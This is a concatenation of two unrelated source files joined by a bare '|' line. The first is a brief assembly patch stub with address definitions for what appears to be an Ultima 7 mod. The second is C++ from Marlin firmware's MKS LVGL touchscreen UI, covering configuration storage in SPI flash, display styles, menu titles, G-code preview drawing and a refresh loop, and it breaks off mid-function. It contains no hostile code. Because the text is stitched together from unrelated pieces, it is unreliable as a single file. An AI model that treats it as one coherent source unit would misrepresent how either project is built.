%include "include/u7si-all-includes.asm"
defineAddress 119, 0x0410, valueForKey
defineAddress 119, 0x04E9, valueForKey_end
defineAddress 119, 0x068C, mouseActionInAx
defineAddress 119, 0x0693, endProc
%include "../u7-common/patch-keyMouseKeys.asm"
|
/**
* Marlin 3D Printer Firmware
* Copyright (c) 2020 MarlinFirmware [https://github.com/MarlinFirmware/Marlin]
*
* Based on Sprinter and grbl.
* Copyright (c) 2011 Camiel Gubbels / Erik van der Zalm
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*
*/
#include "../../../../inc/MarlinConfigPre.h"
#if HAS_TFT_LVGL_UI
#if ENABLED(TFT_LVGL_UI_SPI)
#include "SPI_TFT.h"
#endif
#include "tft_lvgl_configuration.h"
#include "pic_manager.h"
#include "draw_ui.h"
#include "mks_hardware_test.h"
#include <SPI.h>
#include "../../../../MarlinCore.h"
#include "../../../../sd/cardreader.h"
#include "../../../../module/motion.h"
#include "../../../../module/planner.h"
#if ENABLED(POWER_LOSS_RECOVERY)
#include "../../../../feature/powerloss.h"
#endif
#if ENABLED(PARK_HEAD_ON_PAUSE)
#include "../../../../feature/pause.h"
#endif
W25QXXFlash W25QXX;
CFG_ITMES gCfgItems;
UI_CFG uiCfg;
DISP_STATE_STACK disp_state_stack;
DISP_STATE disp_state = MAIN_UI;
DISP_STATE last_disp_state;
PRINT_TIME print_time;
value_state value;
uint32_t To_pre_view;
uint8_t gcode_preview_over;
uint8_t flash_preview_begin;
uint8_t default_preview_flg;
uint32_t size = 809;
uint16_t row;
uint8_t temperature_change_frequency;
uint8_t printing_rate_update_flag;
extern uint8_t once_flag;
extern uint8_t sel_id;
extern uint8_t public_buf[512];
extern uint8_t bmp_public_buf[17 * 1024];
extern void LCD_IO_WriteData(uint16_t RegValue);
lv_point_t line_points[4][2] = {
{{PARA_UI_POS_X, PARA_UI_POS_Y + PARA_UI_SIZE_Y}, {TFT_WIDTH, PARA_UI_POS_Y + PARA_UI_SIZE_Y}},
{{PARA_UI_POS_X, PARA_UI_POS_Y*2 + PARA_UI_SIZE_Y}, {TFT_WIDTH, PARA_UI_POS_Y*2 + PARA_UI_SIZE_Y}},
{{PARA_UI_POS_X, PARA_UI_POS_Y*3 + PARA_UI_SIZE_Y}, {TFT_WIDTH, PARA_UI_POS_Y*3 + PARA_UI_SIZE_Y}},
{{PARA_UI_POS_X, PARA_UI_POS_Y*4 + PARA_UI_SIZE_Y}, {TFT_WIDTH, PARA_UI_POS_Y*4 + PARA_UI_SIZE_Y}}
};
void gCfgItems_init() {
gCfgItems.multiple_language = MULTI_LANGUAGE_ENABLE;
#if 1 // LCD_LANGUAGE == en
gCfgItems.language = LANG_ENGLISH;
#elif LCD_LANGUAGE == zh_CN
gCfgItems.language = LANG_SIMPLE_CHINESE;
#elif LCD_LANGUAGE == zh_TW
gCfgItems.language = LANG_COMPLEX_CHINESE;
#elif LCD_LANGUAGE == jp_kana
gCfgItems.language = LANG_JAPAN;
#elif LCD_LANGUAGE == de
gCfgItems.language = LANG_GERMAN;
#elif LCD_LANGUAGE == fr
gCfgItems.language = LANG_FRENCH;
#elif LCD_LANGUAGE == ru
gCfgItems.language = LANG_RUSSIAN;
#elif LCD_LANGUAGE == ko_KR
gCfgItems.language = LANG_KOREAN;
#elif LCD_LANGUAGE == tr
gCfgItems.language = LANG_TURKISH;
#elif LCD_LANGUAGE == es
gCfgItems.language = LANG_SPANISH;
#elif LCD_LANGUAGE == el
gCfgItems.language = LANG_GREEK;
#elif LCD_LANGUAGE == it
gCfgItems.language = LANG_ITALY;
#elif LCD_LANGUAGE == pt
gCfgItems.language = LANG_PORTUGUESE;
#endif
gCfgItems.leveling_mode = 0;
gCfgItems.from_flash_pic = 0;
gCfgItems.curFilesize = 0;
gCfgItems.finish_power_off = 0;
gCfgItems.pause_reprint = 0;
gCfgItems.pausePosX = -1;
gCfgItems.pausePosY = -1;
gCfgItems.pausePosZ = 5;
W25QXX.SPI_FLASH_BufferRead((uint8_t *)&gCfgItems.spi_flash_flag, VAR_INF_ADDR, sizeof(gCfgItems.spi_flash_flag));
if (gCfgItems.spi_flash_flag == GCFG_FLAG_VALUE) {
W25QXX.SPI_FLASH_BufferRead((uint8_t *)&gCfgItems, VAR_INF_ADDR, sizeof(gCfgItems));
}
else {
gCfgItems.spi_flash_flag = GCFG_FLAG_VALUE;
W25QXX.SPI_FLASH_SectorErase(VAR_INF_ADDR);
W25QXX.SPI_FLASH_BufferWrite((uint8_t *)&gCfgItems, VAR_INF_ADDR, sizeof(gCfgItems));
}
uiCfg.F[0] = 'N';
uiCfg.F[1] = 'A';
uiCfg.F[2] = 'N';
uiCfg.F[3] = 'O';
W25QXX.SPI_FLASH_BlockErase(REFLSHE_FLGA_ADD + 32 - 64*1024);
W25QXX.SPI_FLASH_BufferWrite(uiCfg.F,REFLSHE_FLGA_ADD,4);
}
void gCfg_to_spiFlah() {
W25QXX.SPI_FLASH_SectorErase(VAR_INF_ADDR);
W25QXX.SPI_FLASH_BufferWrite((uint8_t *)&gCfgItems, VAR_INF_ADDR, sizeof(gCfgItems));
}
void ui_cfg_init() {
uiCfg.curTempType = 0;
uiCfg.curSprayerChoose = 0;
uiCfg.stepHeat = 10;
uiCfg.leveling_first_time = 0;
uiCfg.para_ui_page = 0;
uiCfg.extruStep = 5;
uiCfg.extruSpeed = 10;
uiCfg.move_dist = 1;
uiCfg.moveSpeed = 3000;
uiCfg.stepPrintSpeed = 10;
}
void update_spi_flash() {
W25QXX.init(SPI_QUARTER_SPEED);
W25QXX.SPI_FLASH_SectorErase(VAR_INF_ADDR);
W25QXX.SPI_FLASH_BufferWrite((uint8_t *)&gCfgItems, VAR_INF_ADDR, sizeof(gCfgItems));
}
lv_style_t tft_style_scr;
lv_style_t tft_style_label_pre;
lv_style_t tft_style_label_rel;
lv_style_t style_line;
lv_style_t style_para_value_pre;
lv_style_t style_para_value_rel;
lv_style_t style_num_key_pre;
lv_style_t style_num_key_rel;
lv_style_t style_num_text;
void tft_style_init() {
lv_style_copy(&tft_style_scr, &lv_style_scr);
tft_style_scr.body.main_color = LV_COLOR_BACKGROUND;
tft_style_scr.body.grad_color = LV_COLOR_BACKGROUND;
tft_style_scr.text.color = LV_COLOR_TEXT;
tft_style_scr.text.sel_color = LV_COLOR_TEXT;
tft_style_scr.line.width = 0;
tft_style_scr.text.letter_space = 0;
tft_style_scr.text.line_space = 0;
lv_style_copy(&tft_style_label_pre, &lv_style_scr);
lv_style_copy(&tft_style_label_rel, &lv_style_scr);
tft_style_label_pre.body.main_color = LV_COLOR_BACKGROUND;
tft_style_label_pre.body.grad_color = LV_COLOR_BACKGROUND;
tft_style_label_pre.text.color = LV_COLOR_TEXT;
tft_style_label_pre.text.sel_color = LV_COLOR_TEXT;
tft_style_label_rel.body.main_color = LV_COLOR_BACKGROUND;
tft_style_label_rel.body.grad_color = LV_COLOR_BACKGROUND;
tft_style_label_rel.text.color = LV_COLOR_TEXT;
tft_style_label_rel.text.sel_color = LV_COLOR_TEXT;
tft_style_label_pre.text.font = TERN(HAS_SPI_FLASH_FONT, &gb2312_puhui32, LV_FONT_DEFAULT);
tft_style_label_rel.text.font = TERN(HAS_SPI_FLASH_FONT, &gb2312_puhui32, LV_FONT_DEFAULT);
tft_style_label_pre.line.width = 0;
tft_style_label_rel.line.width = 0;
tft_style_label_pre.text.letter_space = 0;
tft_style_label_rel.text.letter_space = 0;
tft_style_label_pre.text.line_space = -5;
tft_style_label_rel.text.line_space = -5;
lv_style_copy(&style_para_value_pre, &lv_style_scr);
lv_style_copy(&style_para_value_rel, &lv_style_scr);
style_para_value_pre.body.main_color = LV_COLOR_BACKGROUND;
style_para_value_pre.body.grad_color = LV_COLOR_BACKGROUND;
style_para_value_pre.text.color = LV_COLOR_BLACK;
style_para_value_pre.text.sel_color = LV_COLOR_BLACK;
style_para_value_rel.body.main_color = LV_COLOR_BACKGROUND;
style_para_value_rel.body.grad_color = LV_COLOR_BACKGROUND;
style_para_value_rel.text.color = LV_COLOR_BLACK;
style_para_value_rel.text.sel_color = LV_COLOR_BLACK;
style_para_value_pre.text.font = TERN(HAS_SPI_FLASH_FONT, &gb2312_puhui32, LV_FONT_DEFAULT);
style_para_value_rel.text.font = TERN(HAS_SPI_FLASH_FONT, &gb2312_puhui32, LV_FONT_DEFAULT);
style_para_value_pre.line.width = 0;
style_para_value_rel.line.width = 0;
style_para_value_pre.text.letter_space = 0;
style_para_value_rel.text.letter_space = 0;
style_para_value_pre.text.line_space = -5;
style_para_value_rel.text.line_space = -5;
lv_style_copy(&style_num_key_pre, &lv_style_scr);
lv_style_copy(&style_num_key_rel, &lv_style_scr);
style_num_key_pre.body.main_color = LV_COLOR_KEY_BACKGROUND;
style_num_key_pre.body.grad_color = LV_COLOR_KEY_BACKGROUND;
style_num_key_pre.text.color = LV_COLOR_TEXT;
style_num_key_pre.text.sel_color = LV_COLOR_TEXT;
style_num_key_rel.body.main_color = LV_COLOR_KEY_BACKGROUND;
style_num_key_rel.body.grad_color = LV_COLOR_KEY_BACKGROUND;
style_num_key_rel.text.color = LV_COLOR_TEXT;
style_num_key_rel.text.sel_color = LV_COLOR_TEXT;
#if HAS_SPI_FLASH_FONT
style_num_key_pre.text.font = &gb2312_puhui32;
style_num_key_rel.text.font = &gb2312_puhui32;
#else
style_num_key_pre.text.font = LV_FONT_DEFAULT;
style_num_key_rel.text.font = LV_FONT_DEFAULT;
#endif
style_num_key_pre.line.width = 0;
style_num_key_rel.line.width = 0;
style_num_key_pre.text.letter_space = 0;
style_num_key_rel.text.letter_space = 0;
style_num_key_pre.text.line_space = -5;
style_num_key_rel.text.line_space = -5;
lv_style_copy(&style_num_text, &lv_style_scr);
style_num_text.body.main_color = LV_COLOR_WHITE;
style_num_text.body.grad_color = LV_COLOR_WHITE;
style_num_text.text.color = LV_COLOR_BLACK;
style_num_text.text.sel_color = LV_COLOR_BLACK;
style_num_text.text.font = TERN(HAS_SPI_FLASH_FONT, &gb2312_puhui32, LV_FONT_DEFAULT);
style_num_text.line.width = 0;
style_num_text.text.letter_space = 0;
style_num_text.text.line_space = -5;
lv_style_copy(&style_line, &lv_style_plain);
style_line.line.color = LV_COLOR_MAKE(0x49, 0x54, 0xff);
style_line.line.width = 1;
style_line.line.rounded = 1;
}
#define MAX_TITLE_LEN 28
char public_buf_m[100] = {0};
char public_buf_l[30];
void titleText_cat(char *str, int strSize, char *addPart) {
if (str == 0 || addPart == 0) return;
if ((int)(strlen(str) + strlen(addPart)) >= strSize) return;
strcat(str, addPart);
}
char *getDispText(int index) {
ZERO(public_buf_l);
switch (disp_state_stack._disp_state[index]) {
case PRINT_READY_UI:
strcpy(public_buf_l, main_menu.title);
break;
case PRINT_FILE_UI:
strcpy(public_buf_l, file_menu.title);
break;
case PRINTING_UI:
if (disp_state_stack._disp_state[disp_state_stack._disp_index] == PRINTING_UI
#ifndef TFT35
|| disp_state_stack._disp_state[disp_state_stack._disp_index] == OPERATE_UI
|| disp_state_stack._disp_state[disp_state_stack._disp_index] == PAUSE_UI
#endif
) strcpy(public_buf_l, common_menu.print_special_title);
else strcpy(public_buf_l, printing_menu.title);
break;
case MOVE_MOTOR_UI:
strcpy(public_buf_l, move_menu.title);
break;
case OPERATE_UI:
if (disp_state_stack._disp_state[disp_state_stack._disp_index] == PRINTING_UI
#ifndef TFT35
|| disp_state_stack._disp_state[disp_state_stack._disp_index] == OPERATE_UI
|| disp_state_stack._disp_state[disp_state_stack._disp_index] == PAUSE_UI
#endif
) strcpy(public_buf_l, common_menu.operate_special_title);
else strcpy(public_buf_l, operation_menu.title);
break;
case PAUSE_UI:
if (disp_state_stack._disp_state[disp_state_stack._disp_index] == PRINTING_UI
|| disp_state_stack._disp_state[disp_state_stack._disp_index] == OPERATE_UI
|| disp_state_stack._disp_state[disp_state_stack._disp_index] == PAUSE_UI
) strcpy(public_buf_l, common_menu.pause_special_title);
else strcpy(public_buf_l, pause_menu.title);
break;
case EXTRUSION_UI:
strcpy(public_buf_l, extrude_menu.title);
break;
case CHANGE_SPEED_UI:
strcpy(public_buf_l, speed_menu.title);
break;
case FAN_UI:
strcpy(public_buf_l, fan_menu.title);
break;
case PRE_HEAT_UI:
if ((disp_state_stack._disp_state[disp_state_stack._disp_index - 1] == OPERATE_UI))
strcpy(public_buf_l, preheat_menu.adjust_title);
else strcpy(public_buf_l, preheat_menu.title);
break;
case SET_UI:
strcpy(public_buf_l, set_menu.title);
break;
case ZERO_UI:
strcpy(public_buf_l, home_menu.title);
break;
case SPRAYER_UI: break;
case MACHINE_UI: break;
case LANGUAGE_UI:
strcpy(public_buf_l, language_menu.title);
break;
case ABOUT_UI:
strcpy(public_buf_l, about_menu.title);
break;
case LOG_UI: break;
case DISK_UI:
strcpy(public_buf_l, filesys_menu.title);
break;
case DIALOG_UI:
strcpy(public_buf_l, common_menu.dialog_confirm_title);
break;
case WIFI_UI:
strcpy(public_buf_l, wifi_menu.title);
break;
case MORE_UI:
case PRINT_MORE_UI:
strcpy(public_buf_l, more_menu.title);
break;
case FILAMENTCHANGE_UI:
strcpy(public_buf_l, filament_menu.title);
break;
case LEVELING_UI:
case MESHLEVELING_UI:
strcpy(public_buf_l, leveling_menu.title);
break;
case BIND_UI:
strcpy(public_buf_l, cloud_menu.title);
break;
case ZOFFSET_UI:
strcpy(public_buf_l, zoffset_menu.title);
break;
case TOOL_UI:
strcpy(public_buf_l, tool_menu.title);
break;
case WIFI_LIST_UI:
//strcpy(public_buf_l, list_menu.title);
break;
case MACHINE_PARA_UI:
strcpy(public_buf_l, MachinePara_menu.title);
break;
case BABY_STEP_UI:
strcpy(public_buf_l, operation_menu.babystep);
break;
case EEPROM_SETTINGS_UI:
strcpy(public_buf_l, eeprom_menu.title);
break;
default: break;
}
return public_buf_l;
}
char *creat_title_text() {
int index = 0;
char *tmpText = 0;
char tmpCurFileStr[20];
ZERO(tmpCurFileStr);
#if _LFN_UNICODE
//cutFileName((TCHAR *)curFileName, 16, 16, (TCHAR *)tmpCurFileStr);
#else
cutFileName(list_file.long_name[sel_id], 16, 16, tmpCurFileStr);
#endif
ZERO(public_buf_m);
while (index <= disp_state_stack._disp_index) {
tmpText = getDispText(index);
if ((*tmpText == 0) || (tmpText == 0)) {
index++;
continue;
}
titleText_cat(public_buf_m, sizeof(public_buf_m), tmpText);
if (index < disp_state_stack._disp_index) titleText_cat(public_buf_m, sizeof(public_buf_m), (char *)">");
index++;
}
if (disp_state_stack._disp_state[disp_state_stack._disp_index] == PRINTING_UI
/*|| disp_state_stack._disp_state[disp_state_stack._disp_index] == OPERATE_UI
|| disp_state_stack._disp_state[disp_state_stack._disp_index] == PAUSE_UI*/
) {
titleText_cat(public_buf_m, sizeof(public_buf_m), (char *)":");
titleText_cat(public_buf_m, sizeof(public_buf_m), tmpCurFileStr);
}
if (strlen(public_buf_m) > MAX_TITLE_LEN) {
ZERO(public_buf_m);
tmpText = getDispText(0);
if (*tmpText != 0) {
titleText_cat(public_buf_m, sizeof(public_buf_m), tmpText);
titleText_cat(public_buf_m, sizeof(public_buf_m), (char *)">...>");
tmpText = getDispText(disp_state_stack._disp_index);
if (*tmpText != 0) titleText_cat(public_buf_m, sizeof(public_buf_m), tmpText);
}
}
return public_buf_m;
}
#if HAS_GCODE_PREVIEW
uint32_t gPicturePreviewStart = 0;
void preview_gcode_prehandle(char *path) {
#if ENABLED(SDSUPPORT)
//uint8_t re;
//uint32_t read;
uint32_t pre_read_cnt = 0;
uint32_t *p1;
char *cur_name;
gPicturePreviewStart = 0;
cur_name = strrchr(path, '/');
card.openFileRead(cur_name);
card.read(public_buf, 512);
p1 = (uint32_t *)strstr((char *)public_buf, ";simage:");
if (p1) {
pre_read_cnt = (uint32_t)p1 - (uint32_t)((uint32_t *)(&public_buf[0]));
To_pre_view = pre_read_cnt;
gcode_preview_over = 1;
gCfgItems.from_flash_pic = 1;
update_spi_flash();
}
else {
gcode_preview_over = 0;
default_preview_flg = 1;
gCfgItems.from_flash_pic = 0;
update_spi_flash();
}
card.closefile();
#endif
}
#if 1
void gcode_preview(char *path, int xpos_pixel, int ypos_pixel) {
#if ENABLED(SDSUPPORT)
//uint8_t ress;
//uint32_t write;
volatile uint32_t i, j;
volatile uint16_t *p_index;
//int res;
char *cur_name;
cur_name = strrchr(path, '/');
card.openFileRead(cur_name);
if (gPicturePreviewStart <= 0) {
while (1) {
uint32_t br = card.read(public_buf, 400);
uint32_t* p1 = (uint32_t *)strstr((char *)public_buf, ";gimage:");
if (p1) {
gPicturePreviewStart += (uint32_t)p1 - (uint32_t)((uint32_t *)(&public_buf[0]));
break;
}
else {
gPicturePreviewStart += br;
}
if (br < 400) break;
}
}
card.setIndex((gPicturePreviewStart + To_pre_view) + size * row + 8);
#if ENABLED(TFT_LVGL_UI_SPI)
SPI_TFT.SetWindows(xpos_pixel, ypos_pixel + row, 200, 1);
#else
ili9320_SetWindows(xpos_pixel, ypos_pixel + row, 200, 1);
LCD_WriteRAM_Prepare();
#endif
j = i = 0;
while (1) {
card.read(public_buf, 400);
for (i = 0; i < 400;) {
bmp_public_buf[j] = ascii2dec_test((char*)&public_buf[i]) << 4 | ascii2dec_test((char*)&public_buf[i + 1]);
i += 2;
j++;
}
if (j >= 400) break;
}
#if ENABLED(TFT_LVGL_UI_SPI)
for (i = 0; i < 400; i += 2) {
p_index = (uint16_t *)(&bmp_public_buf[i]);
if (*p_index == 0x0000) *p_index = LV_COLOR_BACKGROUND.full;
}
SPI_TFT.tftio.WriteSequence((uint16_t*)bmp_public_buf, 200);
#else
for (i = 0; i < 400;) {
p_index = (uint16_t *)(&bmp_public_buf[i]);
if (*p_index == 0x0000) *p_index = LV_COLOR_BACKGROUND.full; //gCfgItems.preview_bk_color;
LCD_IO_WriteData(*p_index);
i += 2;
}
#endif
#if HAS_BAK_VIEW_IN_FLASH
W25QXX.init(SPI_QUARTER_SPEED);
if (row < 20) W25QXX.SPI_FLASH_SectorErase(BAK_VIEW_ADDR_TFT35 + row * 4096);
W25QXX.SPI_FLASH_BufferWrite(bmp_public_buf, BAK_VIEW_ADDR_TFT35 + row * 400, 400);
#endif
row++;
if (row >= 200) {
size = 809;
row = 0;
gcode_preview_over = 0;
//flash_preview_begin = 1;
card.closefile();
/*
if (gCurFileState.file_open_flag != 0xaa) {
reset_file_info();
res = f_open(file, curFileName, FA_OPEN_EXISTING | FA_READ);
if (res == FR_OK) {
f_lseek(file,PREVIEW_SIZE+To_pre_view);
gCurFileState.file_open_flag = 0xaa;
//bakup_file_path((uint8_t *)curFileName, strlen(curFileName));
srcfp = file;
mksReprint.mks_printer_state = MKS_WORKING;
once_flag = 0;
}
}
*/
char *cur_name;
cur_name = strrchr(list_file.file_name[sel_id], '/');
SdFile file;
SdFile *curDir;
card.endFilePrint();
const char * const fname = card.diveToFile(true, curDir, cur_name);
if (!fname) return;
if (file.open(curDir, fname, O_READ)) {
gCfgItems.curFilesize = file.fileSize();
file.close();
update_spi_flash();
}
card.openFileRead(cur_name);
if (card.isFileOpen()) {
feedrate_percentage = 100;
//saved_feedrate_percentage = feedrate_percentage;
planner.flow_percentage[0] = 100;
planner.e_factor[0] = planner.flow_percentage[0] * 0.01;
if (EXTRUDERS == 2) {
planner.flow_percentage[1] = 100;
planner.e_factor[1] = planner.flow_percentage[1] * 0.01;
}
card.startFileprint();
TERN_(POWER_LOSS_RECOVERY, recovery.prepare());
once_flag = 0;
}
return;
}
card.closefile();
#endif // SDSUPPORT
}
#else // if 1
void gcode_preview(char *path, int xpos_pixel, int ypos_pixel) {
#if ENABLED(SDSUPPORT)
//uint8_t ress;
//uint32_t write;
volatile uint32_t i, j;
volatile uint16_t *p_index;
//int res;
char *cur_name;
uint16_t Color;
cur_name = strrchr(path, '/');
card.openFileRead(cur_name);
card.setIndex((PREVIEW_LITTLE_PIC_SIZE + To_pre_view) + size * row + 8);
#if ENABLED(TFT_LVGL_UI_SPI)
SPI_TFT.SetWindows(xpos_pixel, ypos_pixel + row, 200, 1);
#else
ili9320_SetWindows(xpos_pixel, ypos_pixel + row, 200, 1);
LCD_WriteRAM_Prepare();
#endif
j = 0;
i = 0;
while (1) {
card.read(public_buf, 400);
for (i = 0; i < 400;) {
bmp_public_buf[j] = ascii2dec_test((char*)&public_buf[i]) << 4 | ascii2dec_test((char*)&public_buf[i + 1]);
i += 2;
j++;
}
//if (i > 800) break;
//#ifdef TFT70
// if (j > 400) {
// f_read(file, buff_pic, 1, &read);
// break;
// }
//#elif defined(TFT35)
if (j >= 400)
//f_read(file, buff_pic, 1, &read);
break;
//#endif
}
#if ENABLED(TFT_LVGL_UI_SPI)
for (i = 0; i < 400;) {
p_index = (uint16_t *)(&bmp_public_buf[i]);
Color = (*p_index >> 8);
*p_index = Color | ((*p_index & 0xff) << 8);
i += 2;
if (*p_index == 0x0000) *p_index = 0xC318;
}
TFT_CS_L;
TFT_DC_H;
SPI.dmaSend(bmp_public_buf, 400, true);
TFT_CS_H;
#else
for (i = 0; i < 400;) {
p_index = (uint16_t *)(&bmp_public_buf[i]);
if (*p_index == 0x0000) *p_index = 0x18C3;
LCD_IO_WriteData(*p_index);
i = i + 2;
}
#endif
W25QXX.init(SPI_QUARTER_SPEED);
if (row < 20)
W25QXX.SPI_FLASH_SectorErase(BAK_VIEW_ADDR_TFT35 + row * 4096);
W25QXX.SPI_FLASH_BufferWrite(bmp_public_buf, BAK_VIEW_ADDR_TFT35 + row * 400, 400);
row++;
if (row >= 200) {
size = 809;
row = 0;
gcode_preview_over = 0;
//flash_preview_begin = 1;
card.closefile();
/*
if (gCurFileState.file_open_flag != 0xaa) {
reset_file_info();
res = f_open(file, curFileName, FA_OPEN_EXISTING | FA_READ);
if (res == FR_OK) {
f_lseek(file,PREVIEW_SIZE+To_pre_view);
gCurFileState.file_open_flag = 0xaa;
//bakup_file_path((uint8_t *)curFileName, strlen(curFileName));
srcfp = file;
mksReprint.mks_printer_state = MKS_WORKING;
once_flag = 0;
}
}
*/
char *cur_name;
cur_name = strrchr(list_file.file_name[sel_id], '/');
SdFile file;
SdFile *curDir;
card.endFilePrint();
const char * const fname = card.diveToFile(true, curDir, cur_name);
if (!fname) return;
if (file.open(curDir, fname, O_READ)) {
gCfgItems.curFilesize = file.fileSize();
file.close();
update_spi_flash();
}
card.openFileRead(cur_name);
if (card.isFileOpen()) {
feedrate_percentage = 100;
//saved_feedrate_percentage = feedrate_percentage;
planner.flow_percentage[0] = 100;
planner.e_factor[0] = planner.flow_percentage[0] * 0.01;
if (EXTRUDERS == 2) {
planner.flow_percentage[1] = 100;
planner.e_factor[1] = planner.flow_percentage[1] * 0.01;
}
card.startFileprint();
TERN_(POWER_LOSS_RECOVERY, recovery.prepare());
once_flag = 0;
}
return;
}
card.closefile();
#endif // SDSUPPORT
}
#endif // if 1
void Draw_default_preview(int xpos_pixel, int ypos_pixel, uint8_t sel) {
int index;
int y_off = 0;
for (index = 0; index < 10; index++) { // 200*200
#if HAS_BAK_VIEW_IN_FLASH
if (sel == 1) {
flash_view_Read(bmp_public_buf, 8000); // 20k
}
else {
default_view_Read(bmp_public_buf, DEFAULT_VIEW_MAX_SIZE / 10); // 20k
}
#else
default_view_Read(bmp_public_buf, DEFAULT_VIEW_MAX_SIZE / 10); // 20k
#endif
#if ENABLED(TFT_LVGL_UI_SPI)
SPI_TFT.SetWindows(xpos_pixel, y_off * 20 + ypos_pixel, 200, 20); // 200*200
SPI_TFT.tftio.WriteSequence((uint16_t*)(bmp_public_buf), DEFAULT_VIEW_MAX_SIZE / 20);
#else
int x_off = 0;
uint16_t temp_p;
int i = 0;
uint16_t *p_index;
ili9320_SetWindows(xpos_pixel, y_off * 20 + ypos_pixel, 200, 20); // 200*200
LCD_WriteRAM_Prepare();
for (int _y = y_off * 20; _y < (y_off + 1) * 20; _y++) {
for (x_off = 0; x_off < 200; x_off++) {
if (sel == 1) {
temp_p = (uint16_t)(bmp_public_buf[i] | bmp_public_buf[i + 1] << 8);
p_index = &temp_p;
}
else {
p_index = (uint16_t *)(&bmp_public_buf[i]);
}
if (*p_index == 0x0000) *p_index = LV_COLOR_BACKGROUND.full; //gCfgItems.preview_bk_color;
LCD_IO_WriteData(*p_index);
i += 2;
}
if (i >= 8000) break;
}
#endif // TFT_LVGL_UI_SPI
y_off++;
}
W25QXX.init(SPI_QUARTER_SPEED);
}
void disp_pre_gcode(int xpos_pixel, int ypos_pixel) {
if (gcode_preview_over == 1) gcode_preview(list_file.file_name[sel_id], xpos_pixel, ypos_pixel);
#if HAS_BAK_VIEW_IN_FLASH
if (flash_preview_begin == 1) {
flash_preview_begin = 0;
Draw_default_preview(xpos_pixel, ypos_pixel, 1);
}
#endif
#if HAS_GCODE_DEFAULT_VIEW_IN_FLASH
if (default_preview_flg == 1) {
Draw_default_preview(xpos_pixel, ypos_pixel, 0);
default_preview_flg = 0;
}
#endif
}
#endif // HAS_GCODE_PREVIEW
void print_time_run() {
static uint8_t lastSec = 0;
if (print_time.seconds >= 60) {
print_time.seconds = 0;
print_time.minutes++;
if (print_time.minutes >= 60) {
print_time.minutes = 0;
print_time.hours++;
}
}
if (disp_state == PRINTING_UI) {
if (lastSec != print_time.seconds) disp_print_time();
lastSec = print_time.seconds;
}
}
void GUI_RefreshPage() {
if ((systick_uptime_millis % 1000) == 0) temperature_change_frequency = 1;
if ((systick_uptime_millis % 3000) == 0) printing_rate_update_flag = 1;
switch (disp_state) {
case MAIN_UI:
//lv_draw_ready_print();
break;
case EXTRUSION_UI:
if (temperature_change_frequency == 1) {
temperature_change_frequency = 0;
disp_hotend_temp();
}
break;
case PRE_HEAT_UI:
if (temperature_change_frequency == 1) {
temperature_change_frequency = 0;
disp_desire_temp();
}
break;
case PRINT_READY_UI:
/*
if (gCfgItems.display_style == 2) {
if (temperature_change_frequency) {
temperature_change_frequency = 0;
disp_restro_state();
}
}
*/
break;
case PRINT_FILE_UI: break;
case PRINTING_UI:
if (temperature_change_frequency) {
temperature_change_frequency = 0;
disp_ext_temp();
disp_bed_temp();
disp_fan_speed();
disp_print_time();
disp_fan_Zpos();
}
if (printing_rate_update_flag || marlin_state == MF_SD_COMPLETE) {
printing_rate_update_flag = 0;
if (gcode_preview_over == 0) setProBarRate();
}
break;
case OPERATE_UI:
/*
if (temperature_change_frequency == 1) {
temperature_change_frequency = 0;
disp_temp_operate();
}
setProBarRateOpera();
*/
break;
case PAUSE_UI:
/*
if (temperature_change_frequency == 1) {
temperature_change_frequency = 0;
disp_temp_pause();
}
*/
break;
case FAN_UI:
if (temperature_change_frequency == 1) {
temperature_change_frequency = 0;
disp_fan_value();
}
break;
case MOVE_MOTOR_UI:
/*
if (mksReprint.mks_printer_state == MKS_IDLE) {
if ((z_high_count==1)&&(temper_error_flg != 1)) {
z_high_count = 0;
{
memset((char *)gCfgItems.move_z_coordinate, ' ', sizeof(gCfgItems.move_z_coordinate));
GUI_DispStringAt((const char *)gCfgItems.move_z_coordinate, 380, TITLE_YPOS);
sprintf_P((char *)gCfgItems.move_z_coordinate, PSTR("Z: %.3f"), current_position[Z_AXIS]);
GUI_DispStringAt((const char *)gCfgItems.move_z_coordinate, 380, TITLE_YPOS);
}
}
}
*/
break;
case WIFI_UI:
/*
if (wifi_refresh_flg == 1) {
disp_wifi_state();
wifi_refresh_flg = 0;
}
*/
break;
case BIND_UI:
/*refresh_bind_ui();*/
break;
case FILAMENTCHANGE_UI:
/*
if (temperature_change_frequency) {
temperature_change_frequency = 0;
disp_filament_sprayer_temp();
}
*/
break;
case DIALOG_UI:
/*filament_dialog_handle();
wifi_scan_handle();*/
break;
case MESHLEVELING_UI:
/*disp_zpos();*/
break;
case HARDWARE_TEST_UI:
break;
case WIFI_LIST_UI:
/*
if (wifi_refresh_flg == 1) {
disp_wifi_list();
wifi_refresh_flg = 0;
}
*/
break;
case KEY_BOARD_UI:
/*update_password_disp();
update_join_state_disp();*/
break;
case TIPS_UI:
/*
switch (tips_type) {
case TIPS_TYPE_JOINING:
if (wifi_link_state == WIFI_CONNECTED && strcmp((const char *)wifi_list.wifiConnectedName, (const char *)wifi_list.wifiName[wifi_list.nameIndex]) == 0) {
tips_disp.timer = TIPS_TIMER_STOP;
tips_disp.timer_count = 0;
Clear_Tips();
tips_type = TIPS_TYPE_WIFI_CONECTED;
draw_Tips();
}
if (tips_disp.timer_count >= 30) {
tips_disp.timer = TIPS_TIMER_STOP;
tips_disp.timer_count = 0;
Clear_Tips();
tips_type = TIPS_TYPE_TAILED_JOIN;
draw_Tips();
}
break;
case TIPS_TYPE_TAILED_JOIN:
if (tips_disp.timer_count >= 3) {
tips_disp.timer = TIPS_TIMER_STOP;
tips_disp.timer_count = 0;
last_disp_state = TIPS_UI;
Clear_Tips();
draw_Wifi_list();
}
break;
case TIPS_TYPE_WIFI_CONECTED:
if (tips_disp.timer_count >= 3) {
tips_disp.timer = TIPS_TIMER_STOP;
tips_disp.timer_count = 0;
last_disp_state = TIPS_UI;
Clear_Tips();
draw_Wifi();
}
break;
default: break;
}
*/
break;
case BABY_STEP_UI:
/*
if (temperature_change_frequency == 1) {
temperature_change_frequency = 0;
disp_z_offset_value();
}
*/
break;
default: break;
}
print_time_run();
}
void clear_cur_ui() {
last_disp_state = disp_state_stack._disp_state[disp_state_stack._disp_index];
